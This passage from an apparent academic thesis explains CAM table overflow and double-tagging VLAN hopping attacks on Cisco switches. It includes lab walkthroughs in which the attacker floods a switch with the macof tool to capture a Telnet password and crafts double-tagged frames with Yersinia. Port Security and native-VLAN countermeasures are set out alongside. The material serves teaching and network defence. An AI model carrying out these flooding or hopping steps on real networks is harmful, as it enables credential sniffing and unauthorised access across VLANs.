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To know which port leads to which host, the switch uses special association table – CAM table 
– filled with learned MAC addresses of communicating hosts and corresponding local ports. 
Every time a frame is received on a particular port, the switch extracts target MAC address and 
searches for it in this table. If record is found, it forwards the frame out the corresponding 
output port. Otherwise, the frame is forwarded out all ports except the one it was received on. 
MAC-to-port mappings are created from source address of every received frame. After 
extracting the field from L2 header, the switch inserts new record into the CAM table. If the 
record already exists, it is updated. 
3.1.2 Frame Processing When CAM Table Becomes Full 
In a normal situation, if there is any traffic detected from particular host, the switch puts its 
MAC address and port to the CAM table and all subsequent frames dedicated to it will only be 
forwarded out that port. In real world, the CAM table does not have unlimited capacity and can 
fill up. When it is full, the record can’t be added and all subsequent traffic destined to the host 
will always be forwarded out of all ports. As the traffic mustn’t be dropped, any device 
connected to the switch will be able to capture it. 
 
 
Number of addresses the switch can learn differs from manufacturer to manufacturer (see Table 
3.1) and devices dedicated to enterprise environments have larger capacity than devices 
dedicated to SOHO. In common conditions, the situation described in previous paragraph can’t 
occur because all devices are designed to handle more hosts than really exist in the network. In 
Table 3.1 – Capacity of CAM table on different switches 
Switch Capacity 
Cisco Catalyst 2950 8 000 
Cisco Catalyst 3560 12 000 
Cisco Catalyst 3750 12 000 
Module to Cisco Catalyst 6500 128 000 
HP ProCurve 2610 8 000 
HP ProCurve 1400 8 000 
Linksys SRW224 4 000 
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CAM Table Overflow attack the hacker unnaturally brings up this situation by overflowing the 
CAM table with random MAC addresses leaving no space for those that are valid. It results in 
state, when all traffic from addresses not already stored in the table is forwarded towards the 
hacker. 
3.1.3 Attack Example 
A
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The attack has two phases during which the attacker behaves differently. During the first phase, 
when a switch is being filled, the attacker generates random MAC addresses until the table 
overflows. Second phase means listening for incoming traffic which is a passive task. The 
attacker does not have to forward any frame as the compromised switch copies these frames to 
all ports including the port to frame’s proper destination. 
Figure 3.1 – The ICMP example 
32 
 
Let’s have an ICMP example similar to that in previous chapter. Host A, host B and hacker X 
are connected to one switch. The hacker’s victim is host B. Figure 3.1 illustrates following 
scenario: 
1. Assume that hosts A and B haven’t communicated yet. The hacker starts the attack 
by flooding switch with frames with random source MAC address. Number of 
frames must be equal or larger than the size of the CAM table. With every frame, 
the switch adds new record and, therefore, the table quickly fills up. 
2. Host A pings host B. Each time any of the Echo request/response traverses the 
switch, it is copied to all ports except the one that it was received. If the switch 
wasn’t attacked, this would happen for the first message from both directions only. 
Until some of CAM table records time out (approx. 5 minutes on Cisco switches), 
the hacker is able to see and capture all traversing traffic. 
3.1.4 A Limitation of the Attack 
As the switch doesn’t delete records from its CAM table and the only way to remove them is 
waiting until they time out, one precondition of successful attack against any network device is 
that its MAC address mustn’t be in switch’s CAM table before the attack starts. If this criterion 
isn’t met, there is no way the hacker could push out the record with generated messages and, 
therefore, capture anything. 
With all network services running on hosts (e.g. NetBIOS, Samba) there is almost zero chance 
that particular CAM record sometimes times out. For that reason the usability of this attack is 
greatly reduced only to those situations where the hacker is able to seek turned off 
(disconnected) host, flood switch with fake traffic and wait for the first victim who turns the 
computer on. If he wants to direct the attack against specific device (gateway, known host) and 
the device that is already on, he must use another sniffing technique, for example ARP Man-in-
the-Middle. 
3.2 Securing the Network 
To make it possible to defend against this type of attack, security requires relatively 
straightforward implementation. As connected hosts are unable to detect the attack and 
33 
 
everything works normally from their point of view, using client firewall or other security 
mechanisms on workstations is useless. 
Security border is, therefore, moved to a switch secured with Port Security feature which is 
applied directly on ports of the switch. Several parameters allow administrator to: 
 Specify maximum allowed number of dynamically learned MAC addresses on certain 
port; 
 If known, statically assign list of allowed MAC addresses; 
 Specify timeout for dynamically learned MAC; 
 Choose the way of informing about security violation (e.g. through SNMP or log); 
 Set what will be done with port if such a situation occurs (the port will transition to err-
disabled state or only block traffic coming from invalid MAC). 
Table 3.2 shows some commands regarding Port Security. More information on how to 
configure Port Security can be found in (9). For practical example of configuration see Figure 
3.8 in scenario 3.2. 
 
 
Table 3.2 – Port Security Commands 
Command Description 
Switch(config-if)# switchport port-security Enables Port Security on port. 
Switch(config-if)# switchport port-security 
maximum value [vlan [vlan-list]] 
Specifies maximum number of 
allowed MAC addresses for the 
interface. 
Switch(config-if)# switchport port-security 
mac-address address 
Sets allowed MAC address on 
port. 
Switch(config-if)# switchport port-security 
violation {shutdown | restrict | protect} 
Specifies what will be done with 
port if security violation occurs. 
Switch# show port-security [{interface type 
mod/port | address}] 
Displays statistical information 
about Port Security. 
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3.3 Attack Implementation 
As CAM Table Overflow attack belongs to the category of less harmful network attacks, there 
is very little detailed information about it. From administrator/designer point of view, it’s good 
to know how certain network devices react during the attack, what the necessary prerequisites 
for a hacker are and how to secure the network in order to prevent this attack from happening. 
Answers to these questions can be found in next two scenarios. 
Captured packets and full configuration files for both scenarios can be found in Appednix A in 
/scenarios/scenario_3_1 and /scenarios/scenario_3_2 directories. 
3.3.1 Scenario 3.1 – Attack Implementation in Unsecured 
Network 
Following the same structure as defined in previous chapter, the first scenario shows the reader 
an analysis of successful CAM Table Overflow attack done in simple unsecured laboratory 
network. Although the network topology isn’t complex, information presented in this example 
(and in next scenario too) is sufficient to apply the theory in real world. 
Hosts A and B are connected to central switch according to topology diagram (section 3.3.1.1). 
Host X – the hacker – connects to this switch and fills its CAM table. After the table is 
overflown, host A remotely logs to host B using Telnet protocol. As host B is configured to 
authenticate users with plaintext password, X successfully captures this password carried in one 
of the Telnet messages. 
3.3.1.1 Topology Diagram 
Topology used in this scenario consists of one central switch and three hosts connected to it. 
Host A together with host B act as ordinary communicating workstations connected through 
LAN. Host X is the attacking workstation. 
Figure 3.2 shows the interconnection of all devices in more detail. The diagram also displays L2 
and L3 address assignment. 
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3.3.1.2 Device Configuration 
Hosts A and B 
PCs A and B are workstations based on Microsoft Windows operating system. They are the 
same as client hosts used in scenarios in the chapter describing the ARP Man-in-the-Middle 
attack. Host A is running Windows XP with Service Pack 2, host B Windows 2000. Firewall on 
host A is left on. Traffic capturing on both hosts is done using Wireshark.  
Telnet connection between A and B is used for verification of the success of the attack. Host A 
is a Telnet client running Putty 0.60 configured according to Figure 2.3 in order to send Telnet 
data in one datagram instead of sending each character separately. Host B serves as the Telnet 
server. Valid credentials for logging are “telnetadmin” and “testing123*” and are sent as plain 
text. 
Network interfaces on both hosts are set up to acquire IP addresses dynamically from local 
DHCP server. In order to prevent host’s MAC address being added to CAM table of the switch 
during the attack (see section 3.1.4), all unnecessary network services have been shut down 
(Client for Microsoft Networks, File and Printer Sharing, NetBIOS etc.). The DHCP message 
exchange causes the switch to add the MAC address of particular host to the CAM table, but as 
the table will be manually cleared before the attack starts, it does not have any impact on the 
implementation. 
Figure 3.2 – Topology diagram 
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Host X 
Attacking host X is a laptop running Ubuntu 7.10 operating system. Capturing of packets is 
performed by Tcpdump running in the background. 
Dsniff package programmed by Dug Song (used also in previous chapter) in addition to other 
useful utilities contains a small application called Macof which is capable of generating fake 
frames with random source MAC addresses. It supports specifying additional parameters such 
as source and target IP address, target MAC address and many others. 
Configuration of IP address assignment was exactly the same as the configuration of hosts A 
and B – through the DHCP server.  
The Switch 
Cisco Catalyst 2950 switch serves as the central point of the model network where all three 
hosts are connected. Operating system was Cisco IOS version 12.1(22). 
To simplify deterministic network assignment, the switch is also configured as a DHCP server. 
A static DHCP pool is created for each host (see Figure 3.3). For remote-administration 
purposes, VLAN 1 interface is assigned a static IP address and the Telnet access is enabled. 
3.3.1.3 Scenario Progress Analysis 
The scenario is divided into these five steps: 
1. Attacker starts generating thousands of packets with random source L2 address, which 
cause the CAM table of the switch to be overflown. 
2. Host A connects to host B and sends authentication data in clear text. Attacker listening 
for data captured the password. 
Step 1: Flooding the Switch 
Host X floods the switch with frames with randomly generated source MAC addresses and fills 
the switch’s CAM table. 
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Step 1.1: To ensure that no MAC address is in CAM table, the table has been cleared before the 
attack starts. Figure 3.4 shows the state of switch’s CAM table. Notice the total available MAC 
address space (8186). It proofs that the table is empty. 
Figure 3.3 – Unsecured switch configuration 
SW#show running-config 
... 
hostname SW 
! 
enable password cisco 
! 
... 
! 
ip dhcp excluded-address 192.168.0.100 
! 
ip dhcp pool A_POOL 
   host 192.168.0.2 255.255.255.0 
   client-identifier 0100.0475.ecc6.b2 
! 
ip dhcp pool B_POOL 
   host 192.168.0.3 255.255.255.0 
   client-identifier 0100.d059.1a13.dc 
! 
ip dhcp pool X_POOL 
   host 192.168.0.1 255.255.255.0 
   hardware-address 000c.29fd.6112 
! 
... 
! 
interface FastEthernet0/1 
 description Host A 
! 
interface FastEthernet0/2 
 description Host X 
! 
interface FastEthernet0/3 
 description Host B 
! 
... 
! 
interface Vlan1 
 ip address 192.168.0.100 255.255.255.0 
 no ip route-cache 
! 
... 
! 
line vty 0 4 
 password cisco 
 login 
line vty 5 15 
 login 
! 
... 
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Step 1.2: Host X starts the attack by initiating command macof –i eth0 –n 20000 (Figure 
3.5). The command begins generating frames with random MAC addresses. Parameter –n 
specifies how many packets should be generated. Operating system isn’t able to process all 
generated packets so quickly and packet dropping occurs. That’s why this number should be 
almost twice as the total capacity of CAM table. 
 
 
Table 3.3 displays several packets as captured on host X. Notice that every generated frame is a 
malformed TCP packet with completely random L2 and L3 addresses. As the malformation 
concerns only the transport layer of ISO OSI model, the switch does not drop the 
communication. 
 
 
Table 3.3 – TCP packets generated by Macof 
Source MAC Destination MAC Protocol Info 
5a:a5:c2:57:7e:8c d5:8a:f7:50:a6:0c TCP [Malformed Packet] 
bc:d1:cf:6d:9c:e8 b1:42:38:47:45:8a TCP [Malformed Packet] 
d0:d5:01:35:d7:cc fd:f6:47:55:70:d7 TCP [Malformed Packet] 
14:90:f8:55:9c:62 9c:3d:47:28:d9:41 TCP [Malformed Packet] 
31:49:e2:61:ec:5a 59:4e:5e:07:fc:b4 TCP [Malformed Packet] 
 
Figure 3.5 – Output from Macof during packet generation 
root@ubuntu:~# macof –i eth0 –n 20000 
c0:12:94:6d:2:34 17:84:37:5d:f7:f 0.0.0.0.17495 > 0.0.0.0.12933: S 
321312800:321312800(0) win 512 
98:d1:64:3:6c:fa 48:94:ce:5:e0:a5 0.0.0.0.25550 > 0.0.0.0.33676: S 
997024932:997024932(0) win 512 
b1:8e:c:7b:17:de e9:1a:a0:74:28:80 0.0.0.0.7215 > 0.0.0.0.5726: S 
1067146626:1067146626(0) win 512 
Figure 3.4 – State of CAM table before the attack 
SW#show mac-address-table count 
 
Mac Entries for Vlan 1: 
--------------------------- 
Dynamic Address Count  : 0 
Static  Address Count  : 0 
Total Mac Addresses    : 0 
 
Total Mac Address Space Available: 8186 
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Step 1.3: After about 20 seconds, the flooding ends. At this time, the CAM table is full. As 
displaying all 8186 MAC addresses would take too much space, Figure 3.6 shows only 
statistical information. Notice that total MAC address space available is 0. 
 
 
Step 2: Telnet Session and Password Capturing  
Host A initiates Telnet connection to host B. Host B requests A’s credentials and A successfully 
logs in. After the connection is established, A ends the session. Meanwhile, host X listens for 
traffic and captures the password. 
Step 2.1: Host A initiates Telnet connection to host B using Putty. User enters username 
“telnetadmin” and password “testing123*”. He is successfully logged in. After that, he ends the 
session. 
Step 2.2: List of packets captured by Tcpdump on host X includes whole communication 
between hosts A and B. This proofs that the data were sent to hacker too. The Telnet password 
can be seen in body of packet 20070 (see Figure 3.7) which is a clear evidence of the success. 
 
 
Figure 3.7 – Content of packet 20070 with password 
Frame 20070 (65 bytes on wire, 65 bytes captured) 
Ethernet II, Src: 00:04:75:ec:c6:b2, Dst: 00:d0:59:1a:13:dc 
Internet Protocol, Src: 192.168.0.2, Dst: 192.168.0.3 
Transmission Control Protocol, Src Port: ardus-trns (1115), Dst Port: telnet 
(23), Seq: 52, Ack: 187, Len: 11 
Telnet 
    Data: testing123* 
Figure 3.6 – CAM table statistics 
SW#show mac-address-table count 
 
Mac Entries for Vlan 1: 
--------------------------- 
Dynamic Address Count  : 8186 
Static  Address Count  : 0 
Total Mac Addresses    : 8186 
 
Total Mac Address Space Available: 0 
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3.3.2 Scenario 3.2 – Attack Implementation in Secured 
Network 
This scenario demonstrates the CAM Table Overflow attack as performed in attack-resistant 
network. As the switch has been secured by enabling Port Security, the CAM table hasn’t been 
overflown and the password hasn’t been captured by the hacker. 
3.3.2.1 Topology Diagram 
No changes in topology were made (see previous scenario) 
3.3.2.2 Device Configuration 
In order to secure the switch in this scenario, the security has been configured to allow only one 
MAC address to be learned on particular port. Port is in “restrict” mode which means that after 
any security violation is detected (MAC address changed), error message is displayed and all 
traffic from that address is blocked. If the mode was “shutdown”, port would transition to err-
disabled state. 
If not explicitly specified, securely learned MAC address remains in CAM table until the switch 
is rebooted. This is not very comfortable for administrator because if MAC changes on client 
host accidentally, his manual intervention is required. To bypass this limitation, all securely 
learned MAC addresses are given valid time which is the same as valid time of normally 
dynamically learned addresses – in this case 5 minutes. When this timeout expires, a CAM table 
record will be removed and host is able to communicate with rest of the network.  
Figure 3.8 shows fragment of switch configuration regarding Port Security. Full configuration 
can be found in Appednix A. 
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Configuration of remaining devices has been unchanged. 
3.3.2.3 Scenario Progress Analysis 
The scenario is divided into these two steps: 
1. Attacker starts generating thousands of TCP packets with random source L2 address. 
Because of the implemented security, no fake address is added into switch’s CAM 
table. 
2. Host A connects to host B and sends authentication data in clear text. As the switch is 
working properly, no data is captured by the attacker. 
Step 1: Flooding the Switch 
Host X floods the switch with frames with randomly generated source MAC addresses but due 
to implemented security, the switch’s CAM table does not overflow. 
Step 1.1: The table has been cleared before the attack started.  
Figure 3.8 – Port Security configuration 
SW#show running-config 
... 
! 
interface FastEthernet0/1 
 description Host A 
 switchport mode access 
 switchport port-security 
 switchport port-security aging time 5 
 switchport port-security violation restrict 
! 
interface FastEthernet0/2 
 description Host X 
 switchport mode access 
 switchport port-security 
 switchport port-security aging time 5 
 switchport port-security violation restrict 
! 
interface FastEthernet0/3 
 description Host B 
 switchport mode access 
 switchport port-security 
 switchport port-security aging time 5 
 switchport port-security violation restrict 
! 
... 
42 
 
Step 1.2: Hacker starts generating fake TCP packets (see previous scenario), but this time the 
switch behavior is different. 
Immediately after the first packet has been received, the switch saves source MAC address into 
its CAM table. As the source address of next generated packet is different, security violation 
occurred and switch starts displaying error messages to administrator (Figure 3.9). Port is left in 
active state, but the traffic from hacker is blocked.  
 
 
Step 1.3: Traffic filtering is performed on the input therefore no other MAC address has been 
saved into the CAM table.  
Figure 3.10 shows that CAM table hasn’t been overflown. It also displays active ports and MAC 
addresses assigned to them stored in CAM table. Addresses assigned to ports Fa0/1 and Fa0/3 
are real addresses of hosts A and B. Notice the address on port Fa0/2 where hacker is connected. 
In contrast to previous two, this is not the real address of host X. It is the random source address 
of packet 8 (Figure 3.11) – the first generated packet that reached the switch.  
 
 
Figure 3.10 – Securely learned MAC addresses 
SW#show port-security address 
          Secure Mac Address Table 
------------------------------------------------------------------- 
Vlan    Mac Address       Type                Ports   Remaining Age 
                                                         (mins) 
----    -----------       ----                -----   ------------- 
   1    0004.75ec.c6b2    SecureDynamic       Fa0/1        3 
   1    aae7.ed39.88a7    SecureDynamic       Fa0/2        2 
   1    00d0.591a.13dc    SecureDynamic       Fa0/3        2 
------------------------------------------------------------------- 
Total Addresses in System (excluding one mac per port)     : 0 
Max Addresses limit in System (excluding one mac per port) : 1024 
Figure 3.9 – Messages regarding security violation 
3w3d: %PORT_SECURITY-2-PSECURE_VIOLATION: Security violation occurred, caused 
by MAC address 9070.695d.647f on port FastEthernet0/2. 
3w3d: %PORT_SECURITY-2-PSECURE_VIOLATION: Security violation occurred, caused 
by MAC address 362e.5431.2c62 on port FastEthernet0/2. 
3w3d: %PORT_SECURITY-2-PSECURE_VIOLATION: Security violation occurred, caused 
by MAC address aeed.3148.48aa on port FastEthernet0/2. 
3w3d: %PORT_SECURITY-2-PSECURE_VIOLATION: Security violation occurred, caused 
by MAC address 921e.813b.aec1 on port FastEthernet0/2. 
3w3d: %PORT_SECURITY-2-PSECURE_VIOLATION: Security violation occurred, caused 
by MAC address dea3.2764.5d22 on port FastEthernet0/2. 
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Step 2: Telnet Session and Password Capturing  
Host A initiates the Telnet connection to host B. Host B requests A’s credentials and A 
successfully logs in. After the connection has been established, A ends the session. Meanwhile, 
host X listens for traffic but hasn’t captured anything because of the implemented security. 
Step 2.1: To initialize the Telnet connection the same steps has been taken as in previous 
scenario. 
Step 2.2: List of packets captured by Tcpdump on host X doesn’t contain any Telnet packet sent 
between hosts A and B. It is clear that security is working well and the switch didn’t send any 
data to hacker port. The attack wasn’t, therefore, successful. 
Statistical information about Port Security applied to port where host X is connected (Figure 
3.12) reveals the number of violations and MAC address of frame which caused the last 
violation. This address belongs to packet number 20024 – the last generated packet. 
 
 
Figure 3.12 – Port Security on Fa0/2 
SW#show port-security interface fastEthernet 0/2 
Port Security              : Enabled 
Port Status                : Secure-up 
Violation Mode             : Restrict 
Aging Time                 : 5 mins 
Aging Type                 : Absolute 
SecureStatic Address Aging : Disabled 
Maximum MAC Addresses      : 1 
Total MAC Addresses        : 1 
Configured MAC Addresses   : 0 
Sticky MAC Addresses       : 0 
Last Source Address        : ca80.2762.b56e 
Security Violation Count   : 10011 
Figure 3.11 – Packet 8 header 
Frame 8 (54 bytes on wire, 54 bytes captured) 
Ethernet II, Src: a7:82:0e:42:43:b3, Dst: 17:32:86:20:be:2f  
Internet Protocol, Src: 1.250.175.104, Dst: 13.22.188.94  
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4 Double-Tagging Attack 
Virtual LANs (VLANs) are modern tool used in nowadays networks to divide parts of the 
network into logical segments thus helping decrease the size of broadcast domains and more 
effectively localize common network problems. 
In addition to these main applications, it is often used as a security mechanism. If each VLAN is 
given a unique L3 subnet address, several ACLs (access control lists) can be set up to filter 
traffic passed among them. Unfortunately, this filtering does not guarantee 100% functionality 
and in some circumstances, it is possible to bypass these upper-layer checks and establish 
communication with devices that should be otherwise unreachable. As there are several methods 
on how to redirect traffic between VLANs bypassing L3 device, which is called VLAN 
hopping, using VLANs for security purpose requires precise design and extra caution when 
configuring  
Double-Tagging attack (or sometimes called Double-Encapsulated 802.1Q attack) is the first 
technique of performing VLAN hopping described in this thesis, where an attacker connected to 
a multi-switched LAN sends a frame with two special 802.1Q tags, which causes it to hop 
between his and the target’s VLAN. It requires special preconditions to be met and gains from 
specific hardware configuration. When the attack is successful, it usually allows a hacker to 
send packets one direction only. Although it has several limitations, it may still be used in some 
situations (e.g. performing a DoS or utilizing VOIP VLAN for data) and cause security breach.  
This chapter explains the reader, how danger it could be if devices (a switch in this case) are left 
in their default configuration.  
4.1 Principles of the Operation 
Conditions required to perform VLAN hopping differ from technique to technique. Double-
Tagging attack is very complex. It exploits various properties of 802.1Q frame processing. It 
exploits how the frame is processed on access ports, how the native VLAN on trunks works and 
how 802.1Q tags affect the destination where they are sent upon receiving. If anything in this 
“chain” breaks or changes, the attack fails. 
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4.1.1 802.1Q Tagging 
As trunk links carry traffic from all VLANs, it is necessary to keep information about 
originating VLAN of every frame. Therefore 802.1Q standard defines mechanism which uses 
special tag containing an identifier of frame’s VLAN. This tag is appended on sending side of 
the trunk to all existing frames as shown on Figure 4.1. New checksum is then calculated and 
the tagged frame is sent through the trunk link. On receiving side of the trunk, this tag is 
removed and the packet is forwarded out particular access port according to provided VLAN 
identifier. 
Source MAC
(6 Bytes)
Destination MAC
(6 Bytes)
Type/Length
(2 Bytes)
Data
FCS
(4 Bytes)
Source MAC
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Destination MAC
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4.1.2 Native VLAN on a Trunk Link 
The idea of native VLAN was incorporated into 802.1Q protocol to ensure interoperability with 
older and low-cost switches that do not understand 802.1Q. One VLAN on a trunk link is 
chosen to be “native”. When an untagged frame is detected on that trunk, receiving switch 
automatically assigns it to this VLAN. By default, native VLAN on Catalyst switches is VLAN 
1 and is mainly utilized by protocols like STP, CDP etc. 
By default, when a switch wants to send a frame out a trunk line and the frame is part of a 
native VLAN of the trunk (e.g. VLAN 1), it does not append a tag to it. However, this behavior 
can be changed so the switch encapsulates all frames no matter what VLAN they belong to. 
4.1.3 Tagged Frame Processing on an Access Port 
When a switch detects a tagged frame on a port operating in access mode, the way how it is 
processed mostly depends on the content of the 802.1Q tag. If the VLAN ID in the tag 
Figure 4.1 – 802.1Q frame tagging 
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corresponds to the access VLAN of the port, the frame is processed as if it was untagged. 
Otherwise, if the VLANs differ, the frame is dropped. 
Unfortunately, this behavior is very badly documented and is not always true. The attack has 
been tested on Cisco Catalysts 2950 (IOS 12.1 (22)), 2960 (IOS 12.2 (35)) and 3560 (IOS 12.2 
(35)). Only the first switch processed the frame as expected. Second two switches automatically 
dropped every tagged frame regardless of the VLAN identifier located inside the tag. 
4.1.4 Attack Prerequisites 
Double-tagging attack exploits the mentioned 802.1Q packet processing together with the native 
VLAN feature. It works only if special topology and VLAN assignment requirements are met. 
At first, it must be a multi-switch environment where an attacker and his victim are located on 
different switches interconnected by a trunk link utilizing 802.1Q. It doesn’t work if both hosts 
are located on the same switch. 
The point where the hopping itself occurs is the 802.1Q trunk. Whatever the access port mode 
is, the attacker must be in the same VLAN as the native VLAN of one of the trunks on path to 
its victim. Otherwise, the first tag wouldn’t be removed and the attack would fail. 
Although the existence of a network that fulfills all these preconditions may seem improbable, if 
unskilled administrator/designer uses default settings in device configuration and default VLAN 
1 (e.g. for management purposes), all 802.1Q trunks are set up to use the same VLAN as native. 
If some hacker connects to a port that is assigned to this VLAN, he may succeed.  
4.1.5 Attack Example 
The way how the attack works describes following example illustrated on Figure 4.2. Attacker 
X located in VLAN 1 wants to communicate with host Y in VLAN 2. As there is no L3 device 
in the network, he uses VLAN hopping and sends a double-encapsulated frame to host Y. 
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To send a frame to VLAN 2, following actions are taken: 
1. Attacker creates and sends double-tagged frame: 
1.1 A tag with target VLAN 2 is appended to original frame. This is the tag which 
specifies where the frame will be sent on the second switch. 
1.2 According to section 4.1.3, the first switch would drop the frame if it sees an 
802.1Q tag not responding to access VLAN of particular port (this case). That’s 
why the attacker must insert additional 802.1Q tag in front of the existing tag 
which contains a valid VLAN 1 identifier. 
2. Newly created Ethernet frame reaches the first switch. As the VLAN identifier in first 
(outer) tag corresponds to the access VLAN of the port, the switch does not drop the 
frame. 
Prior to forwarding the frame out the trunk, the first tag is stripped off. The VLAN in 
the tag is the same as the native VLAN of the trunk and the switch, therefore, considers 
the tag redundant. The frame is sent with the second tag only. 
Figure 4.2 – Double-Tagging attack example 
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3. The second switch receives the packet and notices that it contains a VLAN 2 tag. It 
removes it and the frame is successfully forwarded to target host located in another 
VLAN without the help of any L3 device. 
4.2 Securing the Network 
In order to secure the network against Double-Tagging attack, at least one prerequisite from 
those described in section 4.1.4 must be invalidated. As there is no directly corresponding 
security tool or feature available, it can only be made by proper configuration. 
The best but not the only way is to create additional unused VLAN and assign it to all trunk 
links as native. This causes packet from all access VLANs to be always tagged the hopping 
cannot, therefore, occur. 
If this cannot be for some reason accomplished, another way to mitigate VLAN hopping is to 
eliminate the native VLAN feature by enabling tagging of native VLAN packets or through the 
use of different encapsulation protocol (e.g. ISL). However, this might cause some devices to 
become unavailable. 
Table 4.1 displays several useful configuration commands. Information was taken from (9). 
 
 
Table 4.1 – Useful commands against Double-Tagging attack 
Command Description 
Switch(config-if)#switchport trunk native vlan 
vlan-id 
Specifies the native VLAN of a 
802.1Q trunk. 
Switch(config)#vlan dot1q tag native Enables tagging of native VLAN 
packets. 
Switch(config-if)#switchport trunk 
encapsulation {isl | dot1q} 
Changes encapsulation protocol of 
trunk link. 
Switch(config-if)#switchport access vlan vlan Specifies access VLAN of port. 
Switch#show interface type mod/port switchport Displays information about 
specific switch port. 
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4.3 Attack Implementation 
Two scenarios described in this subchapter show a successful and unsuccessful VLAN hopping 
performed using Double-Tagging attack. The first scenario shows how Cisco Catalyst 2950 
switch, which was in default configuration, reacted when it received tagged frame and how it 
forwarded that frame out a trunk port. Second scenario used the same attacking procedure, but 
the configuration was corrected according to advicess explained in previous section. 
Captured packets and full configuration files for both scenarios can be found in Appednix A in 
/scenarios/scenario_4_1 and /scenarios/scenario_4_2 directories. 
4.3.1 Scenario 4.1 – Double-Tagging Attack in Unsecured 
Network 
This scenario demonstrates a successful attack performed in a misconfigured network. Two 
switches are interconnected with an 802.1Q trunk. Host Y – the victim – is connected to Switch 
2, host X – the hacker – is connected to Switch 2. Both hosts are assigned to different VLANs, 
but the VLAN of host X is the same as the native VLAN of mentioned trunk. The attacker 
wants to send a packet to host B and as there is no L3 device operating in the network, the only 
way to do this is using the VLAN hopping. Using special utility he builds up a double-tagged 
packet and sends it to host Y. Because of the misconfiguration of the trunk the packet hops to 
target VLAN and successfully reaches the victim. 
4.3.1.1 Topology Diagram 
Topology used in this scenario consists of two Catalyst switches and two hosts connected to 
them. Host X is the attacker, host Y the victim. Figure 4.3 shows the interconnection of all 
devices in more detail. It also displays L2 and L3 address assignment. 
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4.3.1.2 Device Configuration 
Host Y 
Host Y is a workstation running Microsoft Windows 2000 operating system. It has no firewall 
and its LAN interface has been assigned a static IP address. In order to capture and later analyze 
the traffic, Wireshark network protocol analyzer has been preinstalled. 
Host X 
Host X is a workstation running Ubuntu 7.10 operating system. Capturing of packets is 
performed by Tcpdump running in the background. 
In order to create a single- or double-tagged frame, additional utility is required. Utility used in 
this scenario is called Yersinia (Figure 4.4) and is available, in case of Ubuntu, from standard 
online repository through APT package manager. Authors say that this tool is capable of several 
network attacks from CDP through HSRP attacks ending with malicious VTP activities. It has 
simple GUI and is primarily aimed at executing penetration tests. 
In addition to these attacks, it is also capable of sending simple 802.1Q single- or double-tagged 
ICMP echo requests and allows the user to specify the content of all message’s fields. Using the 
ICMP protocol is sufficient to show that the attack works, but in real life it may be replaced 
with any protocol the hacker needs. 
Figure 4.3 – Topology diagram 
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Configuration of IP address assignment is exactly the same as the configuration of host Y - 
static. 
 
 
4.3.1.3  Switches  
Catalyst 2950 running operating system of version 12.1(22) acts as Switch 1. Switch 2 was 
Cisco Catalyst 3560 with IOS version 12.2(35) Advanced IP Services. 
In addition to default VLAN 1, new VLAN for host Y has been added on both switches. Ports 
connecting to hosts are administratively configured to work in access mode. Port FastEthernet  
0/1 on Switch 1 is assigned to VLAN 1 (by default) and the same port on Switch 2 is assigned 
to VLAN 2. The trunk between the switches is configured to utilize the 802.1Q protocol with 
native VLAN 1 (by default). 
In order to capture the frame in the same form as it is passed through the trunk, the SPAN port 
is configured on interface FastEthernet 0/2 on the second switch. This port connects to 
additional PC running Wireshark network protocol analyzer. To capture frames including 
802.1Q tags, encapsulation replication has to be turned on. Important parts of the configuration 
are listed on Figure 4.5 and Figure 4.6. For full configuration see Appednix A. 
Figure 4.4 – Yersinia with its GUI 
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4.3.1.4 Scenario Progress Analysis 
The scenario is divided into two steps: 
1. Host X located in VLAN 1 crafts 802.1Q ICMP echo request packet in Yersinia utility. 
Figure 4.6 – Configuration of Switch 2 
Switch2#show running-config 
... 
! 
hostname Switch2 
... 
! 
interface FastEthernet0/1 
 description HOST_Y 
 switchport access vlan 2 
 switchport mode access 
! 
interface FastEthernet0/2 
 description MONITOR 
! 
... 
! 
interface FastEthernet0/48 
 description TRUNK 
 switchport trunk encapsulation dot1q 
 switchport mode trunk 
! 
... 
monitor session 1 source interface Fa0/48 rx 
monitor session 1 destination interface Fa0/2 encapsulation 
replicate 
... 
Figure 4.5 – Configuration of Switch 1 
Switch1#show running-config 
... 
! 
hostname Switch1 
! 
... 
! 
interface FastEthernet0/1 
 description HOST_X 
 switchport mode access 
! 
... 
! 
interface FastEthernet0/12 
 description TRUNK 
 switchport mode trunk 
! 
... 
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2. This packet is sent throughout the network and is successfully captured by host Y in 
VLAN 2. 
Step 1: Creating the Packet 
Double-tagged ICMP packet is built in Yersinia through its GUI. All mandatory parameters like 
source or destination MAC address are filled according to the topology diagram. 
Step 1.1: Native VLAN of the trunk has been verified. Figure 4.7 shows the status of 
FastEthernet 0/12 port on Switch 1. It proofs that the native VLAN is VLAN 1. 
 
 
Step 1.2: Yersinia utility with simple GUI is started by initiating command yersinia –I from 
the command line. From the main window, 802.1Q protocol mode is selected using key G. In 
this mode, Yersinia displays 2 window parts. Brief information about sent/received packets is 
shown on top of the screen. Bottom part (Figure 4.8) allows a user to specify parameters of 
802.1Q packet. Key E switches application to editing mode.   
 
 
In this mode, the MAC and IP address fields are filled with valid data according to the topology 
diagram. Notice the two VLAN fields. The first field corresponds to the first 802.1Q tag and is 
set to VLAN 1. The “VLAN2” field is the second tag and specifies the packet’s destination.  
Figure 4.8 – Mandatory fields of double-tagged ICMP packet 
Figure 4.7 – Native VLAN of the trunk 
Switch1#show interface fastEthernet 0/12 switchport 
Name: Fa0/12 
Switchport: Enabled 
Administrative Mode: trunk 
Operational Mode: trunk 
Administrative Trunking Encapsulation: dot1q 
Operational Trunking Encapsulation: dot1q 
Negotiation of Trunking: On 
Access Mode VLAN: 1 (default) 
Trunking Native Mode VLAN: 1 (default) 
... 
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Step 2: Sending and Capturing the Packet 
Attacker sends created packet by pressing X and choosing to send double-tagged packet from 
the list. Following three figures display the decapsulation process of the packet while it was 
travelling through the network. 
Figure 4.9 shows the header of packet 8 as captured on host X. Notice the two 802.1Q tags and 
corresponding VLANs as specified in Yersinia in previous step. 
 
 
SPAN port configured on Switch 2 captured this packet as packet number 8 (Figure 4.10). 
Notice that the first tag had been removed and only the second tag remained. This means that 
the packet was sent using the native VLAN without any additional tag. 
 
 
Figure 4.11 shows the last state of the same packet as finally captured on host Y. It has no tag 
and as it has been captured on host Y located in completely different VLAN, it is possible to say 
that the attack works. 
Figure 4.10 – ICMP request captured on SPAN port of the 2nd switch 
 
 
Frame 8 (64 bytes on wire, 64 bytes captured) 
Ethernet II, Src: 00:0c:29:fd:61:12, Dst: 00:d0:59:1a:13:dc  
802.1Q Virtual LAN 
    111. .... .... .... = Priority: 7 
    ...0 .... .... .... = CFI: 0 
    .... 0000 0000 0010 = ID: 2 
